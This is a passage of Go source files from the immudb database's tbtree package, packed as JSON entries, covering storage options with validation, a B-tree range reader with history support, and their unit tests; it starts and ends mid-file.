[]string{\"id\"})\n\nvar metricsBtreeLeafNodeEntries = promauto.NewHistogramVec(prometheus.HistogramOpts{\n\tName:    \"immudb_btree_leaf_node_entries\",\n\tHelp:    \"Histogram of number of entries in as single leaf btree node, calculated when visiting btree nodes\",\n\tBuckets: metricsBtreeNodeEntriesHistogramBuckets,\n}, []string{\"id\"})\n\nvar metricsBtreeNodesDataBeginOffset = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\tName: \"immudb_btree_nodes_data_begin\",\n\tHelp: \"Beginning offset for btree nodes data file\",\n}, []string{\"id\"})\n\nvar metricsBtreeNodesDataEndOffset = promauto.NewGaugeVec(prometheus.GaugeOpts{\n\tName: \"immudb_btree_nodes_data_end\",\n\tHelp: \"End offset for btree nodes data appendable\",\n}, []string{\"id\"})\n"
  },
  {
    "path": "embedded/tbtree/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tbtree\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/cache\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n)\n\nconst (\n\tDefaultMaxNodeSize                   = 4096\n\tDefaultFlushThld                     = 100_000\n\tDefaultSyncThld                      = 1_000_000\n\tDefaultFlushBufferSize               = 4096\n\tDefaultMaxBufferedDataSize           = 1 << 22 // 4MB\n\tDefaultCleanUpPercentage     float32 = 0\n\tDefaultMaxActiveSnapshots            = 100\n\tDefaultRenewSnapRootAfter            = time.Duration(1000) * time.Millisecond\n\tDefaultCacheSize                     = 1 << 27 // 128Mb\n\tDefaultFileMode                      = os.FileMode(0755)\n\tDefaultFileSize                      = 1 << 26 // 64Mb\n\tDefaultMaxKeySize                    = 1024\n\tDefaultMaxValueSize                  = 512\n\tDefaultCompactionThld                = 2\n\tDefaultDelayDuringCompaction         = time.Duration(10) * time.Millisecond\n\n\tDefaultNodesLogMaxOpenedFiles   = 10\n\tDefaultHistoryLogMaxOpenedFiles = 1\n\tDefaultCommitLogMaxOpenedFiles  = 1\n\n\tMinCacheSize = 1\n)\n\ntype AppFactoryFunc func(\n\trootPath string,\n\tsubPath string,\n\topts *multiapp.Options,\n) (appendable.Appendable, error)\n\ntype AppRemoveFunc func(rootPath, subPath string) error\n\ntype OnFlushFunc func(releasedDataSize int)\n\ntype Options struct {\n\tlogger logger.Logger\n\n\tID                  uint16\n\tflushThld           int\n\tsyncThld            int\n\tmaxBufferedDataSize int // maximum amount of KV data that can be buffered before triggering flushing\n\tflushBufferSize     int\n\tcleanupPercentage   float32\n\tmaxActiveSnapshots  int\n\trenewSnapRootAfter  time.Duration\n\tcacheSize           int\n\tcache               *cache.Cache\n\treadOnly            bool\n\tfileMode            os.FileMode\n\n\tnodesLogMaxOpenedFiles   int\n\thistoryLogMaxOpenedFiles int\n\tcommitLogMaxOpenedFiles  int\n\n\tcompactionThld        int\n\tdelayDuringCompaction time.Duration\n\n\t// options below are only set during initialization and stored as metadata\n\tmaxNodeSize  int\n\tmaxKeySize   int\n\tmaxValueSize int\n\tfileSize     int\n\n\tappFactory AppFactoryFunc\n\tappRemove  AppRemoveFunc\n\tonFlush    OnFlushFunc\n}\n\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\tlogger:                logger.NewSimpleLogger(\"immudb \", os.Stderr),\n\t\tID:                    0,\n\t\tmaxBufferedDataSize:   DefaultMaxBufferedDataSize,\n\t\tflushThld:             DefaultFlushThld,\n\t\tsyncThld:              DefaultSyncThld,\n\t\tflushBufferSize:       DefaultFlushBufferSize,\n\t\tcleanupPercentage:     DefaultCleanUpPercentage,\n\t\tmaxActiveSnapshots:    DefaultMaxActiveSnapshots,\n\t\trenewSnapRootAfter:    DefaultRenewSnapRootAfter,\n\t\tcacheSize:             DefaultCacheSize,\n\t\treadOnly:              false,\n\t\tfileMode:              DefaultFileMode,\n\t\tcompactionThld:        DefaultCompactionThld,\n\t\tdelayDuringCompaction: DefaultDelayDuringCompaction,\n\n\t\tnodesLogMaxOpenedFiles:   DefaultNodesLogMaxOpenedFiles,\n\t\thistoryLogMaxOpenedFiles: DefaultHistoryLogMaxOpenedFiles,\n\t\tcommitLogMaxOpenedFiles:  DefaultCommitLogMaxOpenedFiles,\n\n\t\t// options below are only set during initialization and stored as metadata\n\t\tmaxNodeSize:  DefaultMaxNodeSize,\n\t\tmaxKeySize:   DefaultMaxKeySize,\n\t\tmaxValueSize: DefaultMaxValueSize,\n\t\tfileSize:     DefaultFileSize,\n\t}\n}\n\nfunc (opts *Options) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil options\", ErrInvalidOptions)\n\t}\n\n\tif opts.fileSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid FileSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.maxKeySize <= 0 || opts.maxKeySize > math.MaxUint16 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxKeySize\", ErrInvalidOptions)\n\t}\n\n\tif opts.maxValueSize <= 0 || opts.maxValueSize > math.MaxUint16 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxValueSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.maxNodeSize < requiredNodeSize(opts.maxKeySize, opts.maxValueSize) {\n\t\treturn fmt.Errorf(\"%w: invalid MaxNodeSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.flushThld <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid FlushThld\", ErrInvalidOptions)\n\t}\n\n\tif opts.syncThld <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid SyncThld\", ErrInvalidOptions)\n\t}\n\n\tif opts.flushThld > opts.syncThld {\n\t\treturn fmt.Errorf(\"%w: FlushThld must be lower or equal to SyncThld\", ErrInvalidOptions)\n\t}\n\n\tif opts.flushBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid FlushBufferSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.cleanupPercentage < 0 || opts.cleanupPercentage > 100 {\n\t\treturn fmt.Errorf(\"%w: invalid CleanupPercentage\", ErrInvalidOptions)\n\t}\n\n\tif opts.nodesLogMaxOpenedFiles <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid NodesLogMaxOpenedFiles\", ErrInvalidOptions)\n\t}\n\n\tif opts.historyLogMaxOpenedFiles <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid HistoryLogMaxOpenedFiles\", ErrInvalidOptions)\n\t}\n\n\tif opts.commitLogMaxOpenedFiles <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid CommitLogMaxOpenedFiles\", ErrInvalidOptions)\n\t}\n\n\tif opts.maxActiveSnapshots <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxActiveSnapshots\", ErrInvalidOptions)\n\t}\n\n\tif opts.renewSnapRootAfter < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid RenewSnapRootAfter\", ErrInvalidOptions)\n\t}\n\n\tif opts.cacheSize < MinCacheSize || (opts.cacheSize == 0 && opts.cache == nil) {\n\t\treturn fmt.Errorf(\"%w: invalid CacheSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.compactionThld <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid CompactionThld\", ErrInvalidOptions)\n\t}\n\n\tif opts.logger == nil {\n\t\treturn fmt.Errorf(\"%w: invalid Logger\", ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\nfunc (opts *Options) WithLogger(logger logger.Logger) *Options {\n\topts.logger = logger\n\treturn opts\n}\n\nfunc (opts *Options) WithAppFactory(appFactory AppFactoryFunc) *Options {\n\topts.appFactory = appFactory\n\treturn opts\n}\n\nfunc (opts *Options) WithAppRemoveFunc(AppRemove AppRemoveFunc) *Options {\n\topts.appRemove = AppRemove\n\treturn opts\n}\n\nfunc (opts *Options) WithFlushThld(flushThld int) *Options {\n\topts.flushThld = flushThld\n\treturn opts\n}\n\nfunc (opts *Options) WithSyncThld(syncThld int) *Options {\n\topts.syncThld = syncThld\n\treturn opts\n}\n\nfunc (opts *Options) WithFlushBufferSize(size int) *Options {\n\topts.flushBufferSize = size\n\treturn opts\n}\n\nfunc (opts *Options) WithCleanupPercentage(cleanupPercentage float32) *Options {\n\topts.cleanupPercentage = cleanupPercentage\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxActiveSnapshots(maxActiveSnapshots int) *Options {\n\topts.maxActiveSnapshots = maxActiveSnapshots\n\treturn opts\n}\n\nfunc (opts *Options) WithRenewSnapRootAfter(renewSnapRootAfter time.Duration) *Options {\n\topts.renewSnapRootAfter = renewSnapRootAfter\n\treturn opts\n}\n\nfunc (opts *Options) WithCacheSize(cacheSize int) *Options {\n\topts.cacheSize = cacheSize\n\treturn opts\n}\n\nfunc (opts *Options) WithCache(cache *cache.Cache) *Options {\n\topts.cache = cache\n\treturn opts\n}\n\nfunc (opts *Options) WithReadOnly(readOnly bool) *Options {\n\topts.readOnly = readOnly\n\treturn opts\n}\n\nfunc (opts *Options) WithFileMode(fileMode os.FileMode) *Options {\n\topts.fileMode = fileMode\n\treturn opts\n}\n\nfunc (opts *Options) WithNodesLogMaxOpenedFiles(nodesLogMaxOpenedFiles int) *Options {\n\topts.nodesLogMaxOpenedFiles = nodesLogMaxOpenedFiles\n\treturn opts\n}\n\nfunc (opts *Options) WithHistoryLogMaxOpenedFiles(historyLogMaxOpenedFiles int) *Options {\n\topts.historyLogMaxOpenedFiles = historyLogMaxOpenedFiles\n\treturn opts\n}\n\nfunc (opts *Options) WithCommitLogMaxOpenedFiles(commitLogMaxOpenedFiles int) *Options {\n\topts.commitLogMaxOpenedFiles = commitLogMaxOpenedFiles\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxKeySize(maxKeySize int) *Options {\n\topts.maxKeySize = maxKeySize\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxValueSize(maxValueSize int) *Options {\n\topts.maxValueSize = maxValueSize\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxNodeSize(maxNodeSize int) *Options {\n\topts.maxNodeSize = maxNodeSize\n\treturn opts\n}\n\nfunc (opts *Options) WithFileSize(fileSize int) *Options {\n\topts.fileSize = fileSize\n\treturn opts\n}\n\nfunc (opts *Options) WithCompactionThld(compactionThld int) *Options {\n\topts.compactionThld = compactionThld\n\treturn opts\n}\n\nfunc (opts *Options) WithDelayDuringCompaction(delay time.Duration) *Options {\n\topts.delayDuringCompaction = delay\n\treturn opts\n}\n\nfunc (opts *Options) WithIdentifier(id uint16) *Options {\n\topts.ID = id\n\treturn opts\n}\n\nfunc (opts *Options) WithMaxBufferedDataSize(size int) *Options {\n\topts.maxBufferedDataSize = size\n\treturn opts\n}\n\nfunc (opts *Options) WithOnFlushFunc(onFlush OnFlushFunc) *Options {\n\topts.onFlush = onFlush\n\treturn opts\n}\n"
  },
  {
    "path": "embedded/tbtree/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tbtree\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestInvalidOptions(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tn    string\n\t\topts *Options\n\t}{\n\t\t{\"nil\", nil},\n\t\t{\"empty\", &Options{}},\n\t\t{\"logger\", DefaultOptions().WithLogger(nil)},\n\t\t{\"FileSize\", DefaultOptions().WithFileSize(0)},\n\t\t{\"FlushThld\", DefaultOptions().WithFlushThld(0)},\n\t\t{\"WithSyncThld\", DefaultOptions().WithSyncThld(0)},\n\t\t{\"FlushThld>WithSyncThld\", DefaultOptions().WithFlushThld(10).WithSyncThld(1)},\n\t\t{\"FlushBufferSize\", DefaultOptions().WithFlushBufferSize(0)},\n\t\t{\"CleanupPercentage<0\", DefaultOptions().WithCleanupPercentage(-1)},\n\t\t{\"CleanupPercentage>100\", DefaultOptions().WithCleanupPercentage(101)},\n\t\t{\"MaxActiveSnapshots\", DefaultOptions().WithMaxActiveSnapshots(0)},\n\t\t{\"RenewSnapRootAfter\", DefaultOptions().WithRenewSnapRootAfter(-1)},\n\t\t{\"CacheSize\", DefaultOptions().WithCacheSize(0)},\n\t\t{\"CompactionThld\", DefaultOptions().WithCompactionThld(-1)},\n\t\t{\"MaxKeySize\", DefaultOptions().WithMaxKeySize(0)},\n\t\t{\"MaxValueSize\", DefaultOptions().WithMaxValueSize(0)},\n\t\t{\"MaxNodeSize\", DefaultOptions().WithMaxNodeSize(requiredNodeSize(DefaultMaxKeySize, DefaultMaxValueSize) - 1)},\n\t\t{\"NodesLogMaxOpenedFiles\", DefaultOptions().WithNodesLogMaxOpenedFiles(0)},\n\t\t{\"HistoryLogMaxOpenedFiles\", DefaultOptions().WithHistoryLogMaxOpenedFiles(0)},\n\t\t{\"CommitLogMaxOpenedFiles\", DefaultOptions().WithCommitLogMaxOpenedFiles(0)},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\trequire.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions)\n\t\t})\n\t}\n}\n\nfunc TestDefaultOptions(t *testing.T) {\n\trequire.NoError(t, DefaultOptions().Validate())\n}\n\nfunc TestValidOptions(t *testing.T) {\n\topts := &Options{}\n\n\trequire.Equal(t, DefaultCacheSize, opts.WithCacheSize(DefaultCacheSize).cacheSize)\n\trequire.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).fileMode)\n\trequire.Equal(t, DefaultFileSize, opts.WithFileSize(DefaultFileSize).fileSize)\n\trequire.Equal(t, DefaultFlushThld, opts.WithFlushThld(DefaultFlushThld).flushThld)\n\trequire.Equal(t, DefaultSyncThld, opts.WithSyncThld(DefaultSyncThld).syncThld)\n\trequire.Equal(t, DefaultFlushBufferSize, opts.WithFlushBufferSize(DefaultFlushBufferSize).flushBufferSize)\n\trequire.Equal(t, DefaultCleanUpPercentage+1, opts.WithCleanupPercentage(DefaultCleanUpPercentage+1).cleanupPercentage)\n\n\trequire.Equal(t, DefaultMaxActiveSnapshots, opts.WithMaxActiveSnapshots(DefaultMaxActiveSnapshots).maxActiveSnapshots)\n\trequire.Equal(t, DefaultMaxNodeSize, opts.WithMaxNodeSize(DefaultMaxNodeSize).maxNodeSize)\n\trequire.Equal(t, DefaultRenewSnapRootAfter, opts.WithRenewSnapRootAfter(DefaultRenewSnapRootAfter).renewSnapRootAfter)\n\n\trequire.Equal(t, 256, opts.WithMaxKeySize(256).maxKeySize)\n\trequire.Equal(t, 256, opts.WithMaxValueSize(256).maxValueSize)\n\n\trequire.Equal(t, 1, opts.WithCompactionThld(1).compactionThld)\n\trequire.Equal(t, time.Duration(1)*time.Millisecond, opts.WithDelayDuringCompaction(time.Duration(1)*time.Millisecond).delayDuringCompaction)\n\trequire.False(t, opts.WithReadOnly(false).readOnly)\n\trequire.NotNil(t, opts.WithLogger(DefaultOptions().logger))\n\n\trequire.Equal(t, 2, opts.WithNodesLogMaxOpenedFiles(2).nodesLogMaxOpenedFiles)\n\trequire.Equal(t, 3, opts.WithHistoryLogMaxOpenedFiles(3).historyLogMaxOpenedFiles)\n\trequire.Equal(t, 1, opts.WithCommitLogMaxOpenedFiles(1).commitLogMaxOpenedFiles)\n\n\trequire.NoError(t, opts.Validate())\n\n\trequire.True(t, opts.WithReadOnly(true).readOnly)\n\trequire.NoError(t, opts.Validate())\n\trequire.Nil(t, opts.WithAppFactory(nil).appFactory)\n\trequire.NoError(t, opts.Validate())\n\n\tappFactoryCalled := false\n\tappFactory := func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\tappFactoryCalled = true\n\t\treturn nil, nil\n\t}\n\n\trequire.NotNil(t, opts.WithAppFactory(appFactory).appFactory)\n\trequire.NoError(t, opts.Validate())\n\n\topts.appFactory(\"\", \"\", nil)\n\trequire.True(t, appFactoryCalled)\n\n}\n"
  },
  {
    "path": "embedded/tbtree/reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tbtree\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n)\n\ntype Reader struct {\n\tsnapshot       *Snapshot\n\tid             int\n\tseekKey        []byte\n\tendKey         []byte\n\tprefix         []byte\n\tinclusiveSeek  bool\n\tinclusiveEnd   bool\n\tincludeHistory bool\n\tdescOrder      bool\n\n\tpath       path\n\tleafNode   *leafNode\n\tleafOffset int\n\n\tleafValue *leafValue\n\thoff      int\n\n\toffset  uint64\n\tskipped uint64\n\n\tclosed bool\n}\n\ntype ReaderSpec struct {\n\tSeekKey        []byte\n\tEndKey         []byte\n\tPrefix         []byte\n\tInclusiveSeek  bool\n\tInclusiveEnd   bool\n\tIncludeHistory bool\n\tDescOrder      bool\n\tOffset         uint64\n}\n\nfunc (r *Reader) Reset() error {\n\tif r.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tr.leafNode = nil\n\n\treturn nil\n}\n\nfunc (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, value []byte, ts, hc uint64, err error) {\n\tif r.closed {\n\t\treturn nil, nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\tif r.leafNode == nil {\n\t\tpath, startingLeaf, startingOffset, err := r.snapshot.root.findLeafNode(r.seekKey, nil, 0, nil, r.descOrder)\n\t\tif errors.Is(err, ErrKeyNotFound) {\n\t\t\treturn nil, nil, 0, 0, ErrNoMoreEntries\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, nil, 0, 0, err\n\t\t}\n\n\t\tr.path = path\n\t\tr.leafNode = startingLeaf\n\t\tr.leafOffset = startingOffset\n\t\tr.skipped = 0\n\t}\n\n\tfor {\n\t\tif (!r.descOrder && len(r.leafNode.values) == r.leafOffset) || (r.descOrder && r.leafOffset < 0) {\n\t\t\tfor {\n\t\t\t\tif len(r.path) == 0 {\n\t\t\t\t\treturn nil, nil, 0, 0, ErrNoMoreEntries\n\t\t\t\t}\n\n\t\t\t\tparent := r.path[len(r.path)-1]\n\n\t\t\t\tvar parentPath []*pathNode\n\t\t\t\tif len(r.path) > 1 {\n\t\t\t\t\tparentPath = r.path[:len(r.path)-1]\n\t\t\t\t}\n\n\t\t\t\tpath, leaf, off, err := parent.node.findLeafNode(r.seekKey, parentPath, parent.offset+1, nil, r.descOrder)\n\n\t\t\t\tif errors.Is(err, ErrKeyNotFound) {\n\t\t\t\t\tr.path = r.path[:len(r.path)-1]\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, nil, 0, 0, err\n\t\t\t\t}\n\n\t\t\t\tr.path = path\n\t\t\t\tr.leafNode = leaf\n\t\t\t\tr.leafOffset = off\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tleafValue := r.leafNode.values[r.leafOffset]\n\n\t\tif r.descOrder {\n\t\t\tr.leafOffset--\n\t\t} else {\n\t\t\tr.leafOffset++\n\t\t}\n\n\t\tif !r.inclusiveSeek && bytes.Equal(r.seekKey, leafValue.key) {\n\t\t\tcontinue\n\t\t}\n\n\t\tif len(r.endKey) > 0 {\n\t\t\tcmp := bytes.Compare(r.endKey, leafValue.key)\n\n\t\t\tif r.descOrder && (cmp > 0 || (cmp == 0 && !r.inclusiveEnd)) {\n\t\t\t\treturn nil, nil, 0, 0, ErrNoMoreEntries\n\t\t\t}\n\n\t\t\tif !r.descOrder && (cmp < 0 || (cmp == 0 && !r.inclusiveEnd)) {\n\t\t\t\treturn nil, nil, 0, 0, ErrNoMoreEntries\n\t\t\t}\n\t\t}\n\n\t\t// prefix mismatch\n\t\tif len(r.prefix) > 0 &&\n\t\t\t(len(leafValue.key) < len(r.prefix) || !bytes.Equal(r.prefix, leafValue.key[:len(r.prefix)])) {\n\t\t\tcontinue\n\t\t}\n\n\t\tif r.skipped < r.offset {\n\t\t\tr.skipped++\n\t\t\tcontinue\n\t\t}\n\n\t\tvalue, ts, hc, err := leafValue.lastUpdateBetween(r.snapshot.t.hLog, initialTs, finalTs)\n\t\tif err == nil {\n\t\t\treturn cp(leafValue.key), cp(value), ts, hc, nil\n\t\t}\n\t}\n}\n\nfunc (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) {\n\tif r.closed {\n\t\treturn nil, nil, 0, 0, ErrAlreadyClosed\n\t}\n\n\tif r.leafNode == nil {\n\t\tpath, startingLeaf, startingOffset, err := r.snapshot.root.findLeafNode(r.seekKey, nil, 0, nil, r.descOrder)\n\t\tif errors.Is(err, ErrKeyNotFound) {\n\t\t\treturn nil, nil, 0, 0, ErrNoMoreEntries\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, nil, 0, 0, err\n\t\t}\n\n\t\tr.path = path\n\t\tr.leafNode = startingLeaf\n\t\tr.leafOffset = startingOffset\n\t\tr.skipped = 0\n\t}\n\n\tfor {\n\t\tif r.leafValue == nil {\n\n\t\t\tif (!r.descOrder && len(r.leafNode.values) == r.leafOffset) || (r.descOrder && r.leafOffset < 0) {\n\t\t\t\tfor {\n\t\t\t\t\tif len(r.path) == 0 {\n\t\t\t\t\t\treturn nil, nil, 0, 0, ErrNoMoreEntries\n\t\t\t\t\t}\n\n\t\t\t\t\tparent := r.path[len(r.path)-1]\n\n\t\t\t\t\tvar parentPath []*pathNode\n\t\t\t\t\tif len(r.path) > 1 {\n\t\t\t\t\t\tparentPath = r.path[:len(r.path)-1]\n\t\t\t\t\t}\n\n\t\t\t\t\tpath, leaf, off, err := parent.node.findLeafNode(r.seekKey, parentPath, parent.offset+1, nil, r.descOrder)\n\n\t\t\t\t\tif errors.Is(err, ErrKeyNotFound) {\n\t\t\t\t\t\tr.path = r.path[:len(r.path)-1]\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, nil, 0, 0, err\n\t\t\t\t\t}\n\n\t\t\t\t\tr.path = path\n\t\t\t\t\tr.leafNode = leaf\n\t\t\t\t\tr.leafOffset = off\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif r.leafValue == nil {\n\t\t\tleafValue := r.leafNode.values[r.leafOffset]\n\n\t\t\tif r.descOrder {\n\t\t\t\tr.leafOffset--\n\t\t\t} else {\n\t\t\t\tr.leafOffset++\n\t\t\t}\n\n\t\t\tif !r.inclusiveSeek && bytes.Equal(r.seekKey, leafValue.key) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif len(r.endKey) > 0 {\n\t\t\t\tcmp := bytes.Compare(r.endKey, leafValue.key)\n\n\t\t\t\tif r.descOrder && (cmp > 0 || (cmp == 0 && !r.inclusiveEnd)) {\n\t\t\t\t\treturn nil, nil, 0, 0, ErrNoMoreEntries\n\t\t\t\t}\n\n\t\t\t\tif !r.descOrder && (cmp < 0 || (cmp == 0 && !r.inclusiveEnd)) {\n\t\t\t\t\treturn nil, nil, 0, 0, ErrNoMoreEntries\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// prefix mismatch\n\t\t\tif len(r.prefix) > 0 &&\n\t\t\t\t(len(leafValue.key) < len(r.prefix) || !bytes.Equal(r.prefix, leafValue.key[:len(r.prefix)])) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif r.skipped < r.offset {\n\t\t\t\tr.skipped++\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tr.leafValue = leafValue\n\t\t}\n\n\t\tif r.leafValue == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif !r.includeHistory {\n\t\t\tleafValue := r.leafValue\n\t\t\tr.leafValue = nil\n\n\t\t\treturn cp(leafValue.key), cp(leafValue.timedValue().Value), leafValue.timedValue().Ts, leafValue.historyCount(), nil\n\t\t}\n\n\t\ttvs, hc, err := r.leafValue.history(r.leafValue.key, uint64(r.hoff), r.descOrder, 1, r.leafNode.t.hLog)\n\t\tif errors.Is(err, ErrNoMoreEntries) {\n\t\t\tr.leafValue = nil\n\t\t\tr.hoff = 0\n\t\t\tcontinue\n\t\t} else if err != nil {\n\t\t\treturn nil, nil, 0, 0, err\n\t\t}\n\n\t\tr.hoff++\n\n\t\tif r.skipped < r.offset {\n\t\t\tr.skipped++\n\t\t\tcontinue\n\t\t}\n\n\t\tvar c uint64\n\n\t\tif r.descOrder {\n\t\t\tc = hc - uint64(r.hoff) + 1\n\t\t} else {\n\t\t\tc = uint64(r.hoff)\n\t\t}\n\n\t\treturn cp(r.leafValue.key), cp(tvs[0].Value), tvs[0].Ts, c, nil\n\t}\n}\n\nfunc (r *Reader) Close() error {\n\tif r.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tr.snapshot.closedReader(r.id)\n\tr.closed = true\n\n\treturn nil\n}\n\nfunc cp(s []byte) []byte {\n\tif s == nil {\n\t\treturn nil\n\t}\n\n\tc := make([]byte, len(s))\n\tcopy(c, s)\n\n\treturn c\n}\n"
  },
  {
    "path": "embedded/tbtree/reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage tbtree\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestReaderForEmptyTreeShouldReturnError(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer snapshot.Close()\n\n\t_, err = snapshot.NewReader(ReaderSpec{SeekKey: make([]byte, tbtree.maxKeySize+1)})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tr, err := snapshot.NewReader(ReaderSpec{SeekKey: []byte{0, 0, 0, 0}, DescOrder: false})\n\trequire.NoError(t, err)\n\n\t_, _, _, _, err = r.Read()\n\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\n\t_, _, _, _, err = r.ReadBetween(1, 1)\n\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n}\n\nfunc TestReaderWithInvalidSpec(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer snapshot.Close()\n}\n\nfunc TestReaderAscendingScan(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithMaxKeySize(8).\n\t\tWithMaxValueSize(8)\n\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tmonotonicInsertions(t, tbtree, 1, 1000, true)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\terr := snapshot.Close()\n\t\trequire.NoError(t, err)\n\t}()\n\n\trspec := ReaderSpec{\n\t\tSeekKey:   []byte{0, 0, 0, 250},\n\t\tPrefix:    []byte{0, 0, 0, 250},\n\t\tDescOrder: false,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\n\terr = snapshot.Close()\n\trequire.ErrorIs(t, err, ErrReadersNotClosed)\n\n\tfor {\n\t\tk, _, _, _, err := reader.Read()\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.True(t, bytes.Compare(reader.seekKey, k) < 1)\n\t}\n\n\terr = reader.Close()\n\trequire.NoError(t, err)\n\n\t_, _, _, _, err = reader.Read()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = reader.Reset()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = reader.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc 